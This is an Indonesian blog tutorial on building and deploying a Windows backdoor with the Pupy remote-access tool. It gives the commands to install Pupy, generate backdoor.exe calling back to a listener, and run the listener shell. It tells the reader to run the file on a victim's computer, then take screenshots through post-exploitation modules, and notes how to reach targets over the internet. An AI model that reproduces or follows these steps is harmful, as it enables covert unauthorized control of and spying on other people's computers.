• Facebook
  • Google+

Selasa, 22 November 2016

Membuat Backdoor menggunakan Pupy RAT


Apa itu pupy?

Menurut pengembang pupy yg bernama n1nj4sec dari repository githubnya
Pupy adalah RAT (Remote Administration Tool jarak jauh) yang opensource, multi-platform (Windows, Linux, OSX, Android), multi fungsi dan alat pasca-eksploitasi terutama ditulis dalam python
Intinya pupy digunakan untuk meremote komputer victim dari jarak jauh. Cara menggunakan pupy cukup mirip dengan metasploit, hanya saja syntax commandnya yang sedikit berbeda. Pupy dibuat menggunakan python yang memungkinkan tool ini dapat berjalan di semua OS (Windows, Linux ,OSX, Android)Maka dari itulah pupy sering disebut dengan julukan Mini Metasploit.

Instalasi

Pertama-tama tentu saja kita harus menginstall pupy terlebih dahulu.
Proses instalasi cukup mudah. Jalankan command dibawah ini pada terminal:

git clone https://github.com/n1nj4sec/pupy.git pupy
cd pupy
git submodule update --init --depth 1 pupy/payload_templates
git submodule init
git submodule update
pip install -r requirements.txt

Tutorial

NOTE:
Saya menggunakan jaringan lokal pada tutorial ini
1.) Langkah pertama adalah dengan membuka terminal kemudian masuk ke directory pupy
cd /c/tools/rat/pupy/pupy/ 
2.) Masuk sebagai root.
su
3.) Sekarang , mari kita membuat backdoor Windows 32 bit, eksekusi perintah dibawah ini
./pupygen.py -f exe_x86 -o backdoor.exe connect –host 10.42.0.1:9999 -t tcp_cleartext
Parameter -f merupakan format yang akan kita gunakan , Anda bisa menggunakan format untuk Linux atau Android , namun pada kasus ini kita hanya ingin membuat backdoor win32 sederhana
Parameter -o merupakan nama output file yang akan dihasilkan ole pupy
Parameter connect untuk membuat backdoor tersambung ke server
Kemudian yang terakhir adalah parameter t merupakan trnsport layer yang akan kita gunakan, secara default pupy menggunakan trnsport ssl, namun Saya akan menggunakan layer tcp_cleartext karena layer tersebut dapat bekerja 100% untuk Saya.
Outpunya seperti ini:

4.) Pupy mempunyai listener sendiri seperti Metasploit yang bernama Pupy Shell, mari kita jalankan listener tersebut dengan menjalankan perintah dibawah ini
./pupysh.py -p 9999 -t tcp_cleartext
Parameter p adalah nomor port dimana pupy shell akan me-listen (Harus sama seperti transport layer yang digunakan pada backdoor)
Parameter t adalah transport layer yang kita gunakan (Harus sama seperti transport layer yang digunakan pada backdoor)
Output:
pupy shell
5.) Sekarang tugas Anda adalah membuka backdoor yang telah kita buat tadi pada komputer korban.
6.) Tunggu sampai Anda mendapatkan session seperti ini
pupy shell got session
Bingo , Kita dapat session!
7.) Sekarang terserah kita mau diapakan komputer korban, Anda bisa melihat daftar modul dengan menjalankan perintah list_modules
>>> list_modules
list modules
Anda bisa melihat bahwa banyak sekali modul yang tersedia pada pupy
8.) Jika kita ingin menjalankan salah satu dari modul tersebut, Anda hanya butuh mengetikkan run kategori/module. Mari kita mengambil screenshot pada komputer korban dengan menjalankan perintah ini
>>> run gather/screenshot
Output:
pupy gather screenshot
Anda bisa melihat bahwa screenshot berhasil diambil dan gambar screenshot tersimpan di folder screenshot
NOTE:
Anda bisa menggunakan Pupy diluar jaringan dengan membuat backdoor yang hostnya mengarah pada IP publik Anda (harus terforward terlebih dahulu), atau IP dari VPS Anda.

Source : https://dytracode.blogspot.co.id/2016/11/tutorial-membuat-backdoor-menggunakan.html

1 komentar:

Contact

Get in touch with me


Adress/Street

12 Street West Victoria 1234 Australia

Phone number

+(12) 3456 789

Website

www.johnsmith.com